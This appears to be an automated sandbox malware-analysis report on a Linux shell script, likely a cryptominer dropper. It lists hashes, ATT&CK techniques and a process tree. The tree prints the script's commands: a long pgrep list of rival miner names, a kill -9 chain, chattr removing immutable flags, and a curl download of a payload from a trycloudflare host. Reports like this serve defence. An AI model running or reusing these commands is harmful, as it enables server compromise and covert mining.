40ae63b1ffcb46225bde34c0c6a8dbc8a8cca0b19755143cfe1c1ed7575bf681

Analysis

max time kernel
149s
max time network
128s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240729-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28/12/2024, 02:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

40ae63b1ffcb46225bde34c0c6a8dbc8a8cca0b19755143cfe1c1ed7575bf681.sh
Size

3KB
MD5

03cfaa6e131dd4ea1c7807517d4376d6
SHA1

d21b174325a36f93d7703ea4d3b79ef0a1acca07
SHA256

40ae63b1ffcb46225bde34c0c6a8dbc8a8cca0b19755143cfe1c1ed7575bf681
SHA512

d75a5963f4e8d831d0284b927292141dde345d76ea5c15f2d448cf99f3b9175f6e3752dc68cae03a3e6f73e0046c54005593cb7305eb1e25a290be8db0dcbcd9

Score

6^/10

discovery

Malware Config

Signatures

Attempts to change immutable files 1 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
1636	chattr

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1269/cmdline	pgrep
File opened for reading	/proc/1094/cmdline	pgrep
File opened for reading	/proc/170/cmdline	pgrep
File opened for reading	/proc/1098/status	pgrep
File opened for reading	/proc/1/status	pgrep
File opened for reading	/proc/649/cmdline	pgrep
File opened for reading	/proc/1388/cmdline	pgrep
File opened for reading	/proc/559/status	pgrep
File opened for reading	/proc/1156/status	pgrep
File opened for reading	/proc/80/cmdline	pgrep
File opened for reading	/proc/178/status	pgrep
File opened for reading	/proc/1388/status	pgrep
File opened for reading	/proc/431/status	pgrep
File opened for reading	/proc/164/status	pgrep
File opened for reading	/proc/159/status	pgrep
File opened for reading	/proc/1178/status	pgrep
File opened for reading	/proc/1126/status	pgrep
File opened for reading	/proc/166/status	pgrep
File opened for reading	/proc/1192/cmdline	pgrep
File opened for reading	/proc/1126/cmdline	pgrep
File opened for reading	/proc/78/status	pgrep
File opened for reading	/proc/1269/status	pgrep
File opened for reading	/proc/15/cmdline	pgrep
File opened for reading	/proc/269/status	pgrep
File opened for reading	/proc/243/status	pgrep
File opened for reading	/proc/493/cmdline	pgrep
File opened for reading	/proc/115/status	pgrep
File opened for reading	/proc/736/status	pgrep
File opened for reading	/proc/1130/cmdline	pgrep
File opened for reading	/proc/1342/status	pgrep
File opened for reading	/proc/1486/status	pgrep
File opened for reading	/proc/1179/cmdline	pgrep
File opened for reading	/proc/1142/status	pgrep
File opened for reading	/proc/1176/cmdline	pgrep
File opened for reading	/proc/2/cmdline	pgrep
File opened for reading	/proc/12/status	pgrep
File opened for reading	/proc/80/cmdline	pgrep
File opened for reading	/proc/176/status	pgrep
File opened for reading	/proc/176/status	pgrep
File opened for reading	/proc/1192/status	pgrep
File opened for reading	/proc/27/status	pgrep
File opened for reading	/proc/1046/status	pgrep
File opened for reading	/proc/559/status	pgrep
File opened for reading	/proc/161/cmdline	pgrep
File opened for reading	/proc/961/status	pgrep
File opened for reading	/proc/1502/status	pgrep
File opened for reading	/proc/1195/cmdline	pgrep
File opened for reading	/proc/576/cmdline	pgrep
File opened for reading	/proc/479/cmdline	pgrep
File opened for reading	/proc/1146/cmdline	pgrep
File opened for reading	/proc/1162/cmdline	pgrep
File opened for reading	/proc/21/status	pgrep
File opened for reading	/proc/473/cmdline	pgrep
File opened for reading	/proc/1300/status	pgrep
File opened for reading	/proc/1176/status	pgrep
File opened for reading	/proc/166/status	pgrep
File opened for reading	/proc/25/cmdline	pgrep
File opened for reading	/proc/1159/status	pgrep
File opened for reading	/proc/203/cmdline	pgrep
File opened for reading	/proc/22/status	pgrep
File opened for reading	/proc/1308/status	pgrep
File opened for reading	/proc/26/status	pgrep
File opened for reading	/proc/79/cmdline	pgrep
File opened for reading	/proc/1027/status	pgrep

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1554	pgrep

/tmp/40ae63b1ffcb46225bde34c0c6a8dbc8a8cca0b19755143cfe1c1ed7575bf681.sh
/tmp/40ae63b1ffcb46225bde34c0c6a8dbc8a8cca0b19755143cfe1c1ed7575bf681.sh
1⤵
PID:1507
- /usr/bin/pgrep
  pgrep -x solr
  2⤵
  - Reads runtime system information
  PID:1509
- /usr/bin/pgrep
  pgrep -x bwmupdate
  2⤵
  - Reads runtime system information
  PID:1510
- /usr/bin/pgrep
  pgrep -x kdevtmpfsi
  2⤵
  PID:1511
- /usr/bin/pgrep
  pgrep -x kinsing
  2⤵
  - Reads runtime system information
  PID:1512
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  PID:1513
- /usr/bin/pgrep
  pgrep -x xmrigDaemon
  2⤵
  - Reads runtime system information
  PID:1514
- /usr/bin/pgrep
  pgrep -x xmrigMiner
  2⤵
  - Reads CPU attributes
  PID:1515
- /usr/bin/pgrep
  pgrep -x xmrigMinerd
  2⤵
  - Reads CPU attributes
  PID:1516
- /usr/bin/pgrep
  pgrep -x xmrigMinerDaemon
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1517
- /usr/bin/pgrep
  pgrep -x xmrigMinerServer
  2⤵
  - Reads runtime system information
  PID:1518
- /usr/bin/pgrep
  pgrep -x xmrigMinerServerDaemon
  2⤵
  - Reads runtime system information
  PID:1519
- /usr/bin/pgrep
  pgrep -x bash2
  2⤵
  - Reads runtime system information
  PID:1520
- /usr/bin/pgrep
  pgrep -x .network-setup
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1521
- /usr/bin/pgrep
  pgrep -x syshd
  2⤵
  PID:1522
- /usr/bin/pgrep
  pgrep -x /usr/.network-setup/config.json
  2⤵
  PID:1523
- /usr/bin/pgrep
  pgrep -x bashirc
  2⤵
  PID:1524
- /usr/bin/pgrep
  pgrep -x masscan
  2⤵
  - Reads CPU attributes
  PID:1525
- /usr/bin/pgrep
  pgrep -x cronb.sh
  2⤵
  - Reads runtime system information
  PID:1526
- /usr/bin/pgrep
  pgrep -x crond.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1527
- /usr/bin/pgrep
  pgrep -x linuxsys
  2⤵
  - Reads CPU attributes
  PID:1528
- /usr/bin/pgrep
  pgrep -x miner
  2⤵
  - Reads CPU attributes
  PID:1529
- /usr/bin/pgrep
  pgrep -x gitlabw
  2⤵
  - Reads CPU attributes
  PID:1530
- /usr/bin/pgrep
  pgrep -x xmp
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1531
- /usr/bin/pgrep
  pgrep -x juiceSSH
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1533
- /usr/bin/pgrep
  pgrep -x khnug
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1534
- /usr/bin/pgrep
  pgrep -x Linux2
  2⤵
  - Reads runtime system information
  PID:1535
- /usr/bin/pgrep
  pgrep -x kthreaddi
  2⤵
  PID:1536
- /usr/bin/pgrep
  pgrep -x kkssl
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1537
- /usr/bin/pgrep
  pgrep -x cnrig
  2⤵
  - Reads runtime system information
  PID:1538
- /usr/bin/pgrep
  pgrep -x stratum
  2⤵
  - Reads CPU attributes
  PID:1539
- /usr/bin/pgrep
  pgrep -x vscode
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1540
- /usr/bin/pgrep
  pgrep -x "runsv puma"
  2⤵
  PID:1541
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1542
- /usr/bin/pgrep
  pgrep -x c3pool
  2⤵
  - Reads CPU attributes
  PID:1543
- /usr/bin/pgrep
  pgrep -x kthreaddk
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1544
- /usr/bin/pgrep
  pgrep -x dbused
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1545
- /usr/bin/pgrep
  pgrep -x kdevtmpfsi
  2⤵
  - Reads CPU attributes
  PID:1546
- /usr/bin/pgrep
  pgrep -x kinsing
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1547
- /usr/bin/pgrep
  pgrep -x supportxmr
  2⤵
  - Reads CPU attributes
  PID:1548
- /usr/bin/pgrep
  pgrep -x xmr
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1549
- /usr/bin/pgrep
  pgrep -x kthreaddw
  2⤵
  - Reads CPU attributes
  PID:1550
- /usr/bin/pgrep
  pgrep -x klibsystem4
  2⤵
  PID:1551
- /usr/bin/pgrep
  pgrep -x klibsystem5
  2⤵
  PID:1552
- /usr/bin/pgrep
  pgrep -x kworkerr
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1553
- /usr/bin/pgrep
  pgrep -x ipv6_addrconfd
  2⤵
  - Reads CPU attributes
  - System Network Configuration Discovery
  PID:1554
- /usr/bin/pgrep
  pgrep -x ksoftriqd
  2⤵
  - Reads runtime system information
  PID:1555
- /usr/bin/pgrep
  pgrep -x 8a9ed70
  2⤵
  PID:1556
- /usr/bin/pgrep
  pgrep -x xmrigMiner
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1557
- /usr/bin/pgrep
  pgrep -x kthreaddo
  2⤵
  - Reads CPU attributes
  PID:1558
- /usr/bin/pgrep
  pgrep -x xssai
  2⤵
  - Reads CPU attributes
  PID:1559
- /usr/bin/pgrep
  pgrep -x k1.sh
  2⤵
  PID:1560
- /usr/bin/pgrep
  pgrep -x base64
  2⤵
  PID:1564
- /usr/bin/pgrep
  pgrep -x java-deamon
  2⤵
  PID:1565
- /usr/bin/pgrep
  pgrep -x up.elf
  2⤵
  PID:1566
- /usr/bin/pgrep
  pgrep -x logrotate
  2⤵
  - Reads CPU attributes
  PID:1567
- /usr/bin/pgrep
  pgrep -x "\\-bash"
  2⤵
  - Reads runtime system information
  PID:1568
- /usr/bin/pgrep
  pgrep -x b64decode
  2⤵
  PID:1569
- /usr/bin/pgrep
  pgrep -x MCf8
  2⤵
  - Reads runtime system information
  PID:1570
- /usr/bin/pgrep
  pgrep -x mysqldd
  2⤵
  - Reads CPU attributes
  PID:1571
- /usr/bin/pgrep
  pgrep -x monero
  2⤵
  PID:1572
- /usr/bin/pgrep
  pgrep -x sshpass
  2⤵
  PID:1573
- /usr/bin/pgrep
  pgrep -x sshexec
  2⤵
  - Reads CPU attributes
  PID:1574
- /usr/bin/pgrep
  pgrep -x attack
  2⤵
  - Reads CPU attributes
  PID:1575
- /usr/bin/pgrep
  pgrep -x dovecat
  2⤵
  PID:1576
- /usr/bin/pgrep
  pgrep -x javae
  2⤵
  PID:1577
- /usr/bin/pgrep
  pgrep -x donate
  2⤵
  - Reads CPU attributes
  PID:1578
- /usr/bin/pgrep
  pgrep -x scan.log
  2⤵
  - Reads CPU attributes
  PID:1579
- /usr/bin/pgrep
  pgrep -x xmr-stak
  2⤵
  - Reads runtime system information
  PID:1580
- /usr/bin/pgrep
  pgrep -x crond64
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1581
- /usr/bin/pgrep
  pgrep -x /tmp/java
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1582
- /usr/bin/pgrep
  pgrep -x pastebin
  2⤵
  PID:1583
- /usr/bin/pgrep
  pgrep -x so.txt
  2⤵
  - Reads CPU attributes
  PID:1584
- /usr/bin/pgrep
  pgrep -x "bash -s 3673"
  2⤵
  PID:1585
- /usr/bin/pgrep
  pgrep -x 8005/cc5
  2⤵
  - Reads CPU attributes
  PID:1586
- /usr/bin/pgrep
  pgrep -x /tmp/system
  2⤵
  - Reads CPU attributes
  PID:1587
- /usr/bin/pgrep
  pgrep -x ./cliented
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1588
- /usr/bin/pgrep
  pgrep -x .inis
  2⤵
  - Reads runtime system information
  PID:1589
- /usr/bin/pgrep
  pgrep -x certutil
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1590
- /usr/bin/pgrep
  pgrep -x excludefile
  2⤵
  - Reads runtime system information
  PID:1591
- /usr/bin/pgrep
  pgrep -x agettyd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1592
- /usr/bin/pgrep
  pgrep -x kthreaddkk
  2⤵
  - Reads runtime system information
  PID:1593
- /usr/bin/pgrep
  pgrep -x /dev/shm
  2⤵
  - Reads CPU attributes
  PID:1594
- /usr/bin/pgrep
  pgrep -x /var/tmp
  2⤵
  - Reads CPU attributes
  PID:1595
- /usr/bin/pgrep
  pgrep -x ./python
  2⤵
  PID:1596
- /usr/bin/pgrep
  pgrep -x ./crun
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1597
- /usr/bin/pgrep
  pgrep -x "bash -s kthreaddk"
  2⤵
  PID:1598
- /usr/bin/pgrep
  pgrep -x ./.
  2⤵
  - Reads CPU attributes
  PID:1599
- /usr/bin/pgrep
  pgrep -x 118/cf.sh
  2⤵
  - Reads CPU attributes
  PID:1600
- /usr/bin/pgrep
  pgrep -x ./lin64
  2⤵
  - Reads CPU attributes
  PID:1601
- /usr/bin/pgrep
  pgrep -x confluence/install.sh
  2⤵
  PID:1602
- /usr/bin/pgrep
  pgrep -x unls64.sh
  2⤵
  - Reads runtime system information
  PID:1603
- /usr/bin/pgrep
  pgrep -x ./system-xfwm4-session
  2⤵
  - Reads runtime system information
  PID:1604
- /usr/bin/pgrep
  pgrep -x ./httpd
  2⤵
  - Reads CPU attributes
  PID:1605
- /usr/bin/pgrep
  pgrep -x loligang
  2⤵
  PID:1606
- /usr/bin/pgrep
  pgrep -x .6379
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1607
- /usr/bin/pgrep
  pgrep -x load.sh
  2⤵
  - Reads CPU attributes
  PID:1608
- /usr/bin/pgrep
  pgrep -x init.sh
  2⤵
  - Reads CPU attributes
  PID:1609
- /usr/bin/pgrep
  pgrep -x solr.sh
  2⤵
  - Reads runtime system information
  PID:1610
- /usr/bin/pgrep
  pgrep -x .rsyslogds
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1611
- /usr/bin/pgrep
  pgrep -x sysDworker
  2⤵
  - Reads runtime system information
  PID:1612
- /usr/bin/pgrep
  pgrep -x pnscan
  2⤵
  - Reads CPU attributes
  PID:1613
- /usr/bin/pgrep
  pgrep -x sysguard
  2⤵
  - Reads CPU attributes
  PID:1614
- /usr/bin/pgrep
  pgrep -x solrd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1615
- /usr/bin/pgrep
  pgrep -x polska
  2⤵
  - Reads CPU attributes
  PID:1616
- /usr/bin/pgrep
  pgrep -x meminitsrv
  2⤵
  - Reads CPU attributes
  PID:1617
- /usr/bin/pgrep
  pgrep -x networkservice
  2⤵
  - Reads CPU attributes
  PID:1618
- /usr/bin/pgrep
  pgrep -x sysupdate
  2⤵
  - Reads CPU attributes
  PID:1619
- /usr/bin/pgrep
  pgrep -x phpguard
  2⤵
  - Reads runtime system information
  PID:1620
- /usr/bin/pgrep
  pgrep -x phpupdate
  2⤵
  PID:1621
- /usr/bin/pgrep
  pgrep -x networkmanager
  2⤵
  - Reads runtime system information
  PID:1622
- /usr/bin/pgrep
  pgrep -x knthread
  2⤵
  PID:1623
- /usr/bin/pgrep
  pgrep -x mysqlserver
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1624
- /usr/bin/pgrep
  pgrep -x gitlabkill
  2⤵
  PID:1625
- /usr/bin/pgrep
  pgrep -x watchbog
  2⤵
  PID:1626
- /usr/bin/pgrep
  pgrep -x zgrab
  2⤵
  PID:1627
- /usr/bin/pgrep
  pgrep -x udiskssd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1628
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1632
- /bin/grep
  grep -v grep
  2⤵
  PID:1631
- /bin/grep
  grep atdb
  2⤵
  PID:1630
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1633
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  PID:1629
- /usr/bin/id
  id -u
  2⤵
  PID:1634
- /usr/bin/id
  id -u
  2⤵
  PID:1635
- /usr/bin/chattr
  chattr -ia /usr/lib/secure
  2⤵
  - Attempts to change immutable files
  PID:1636
- /bin/rm
  rm -rf /usr/lib/secure
  2⤵
  PID:1637
- /bin/mkdir
  mkdir -p /usr/lib/secure
  2⤵
  PID:1638
- /bin/chmod
  chmod +w /usr/lib/secure
  2⤵
  PID:1639
- /usr/bin/curl
  curl -ks https://throw-shut-discuss-pirates.trycloudflare.com/initd -o /usr/lib/secure/udiskssd
  2⤵
  PID:1640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads